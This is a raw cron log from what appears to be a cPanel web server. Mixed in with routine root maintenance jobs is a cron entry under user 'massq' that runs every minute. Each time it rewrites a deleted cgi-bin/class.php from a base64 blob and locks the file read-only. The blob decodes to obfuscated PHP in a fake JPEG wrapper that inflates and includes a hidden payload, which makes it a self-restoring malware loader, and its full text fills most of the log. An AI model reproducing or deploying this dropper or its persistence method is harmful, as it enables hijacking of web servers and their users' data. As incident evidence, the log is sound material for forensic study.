Sep  2 19:43:01 server CROND[16819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:43:01 server CROND[16820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:43:01 server CROND[16821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:44:01 server CROND[17186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:44:01 server CROND[17187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:44:01 server CROND[17188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:45:01 server CROND[17569]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 19:45:01 server CROND[17577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:45:01 server CROND[17576]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 19:45:01 server CROND[17575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:45:01 server CROND[17579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:45:01 server CROND[17578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:45:01 server CROND[17580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:46:01 server CROND[18498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:46:01 server CROND[18499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:46:01 server CROND[18500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:47:01 server CROND[18933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:47:01 server CROND[18934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:47:01 server CROND[18935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:48:01 server CROND[19328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:48:01 server CROND[19327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:48:01 server CROND[19329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:49:01 server CROND[19706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:49:01 server CROND[19708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:49:01 server CROND[19707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:50:02 server CROND[20117]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:50:02 server CROND[20119]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 19:50:02 server CROND[20123]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:50:02 server CROND[20124]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 19:50:02 server CROND[20126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:50:02 server CROND[20125]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 19:50:02 server CROND[20127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:50:02 server CROND[20122]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 19:50:02 server CROND[20129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:51:01 server CROND[20961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:51:01 server CROND[20962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:51:01 server CROND[20963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:52:01 server CROND[21429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:52:01 server CROND[21430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:52:01 server CROND[21432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:53:01 server CROND[21832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:53:01 server CROND[21834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:53:01 server CROND[21833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:54:01 server CROND[22222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:54:01 server CROND[22223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:54:01 server CROND[22224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:55:01 server CROND[22643]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 19:55:01 server CROND[22647]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:55:01 server CROND[22651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:55:01 server CROND[22653]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
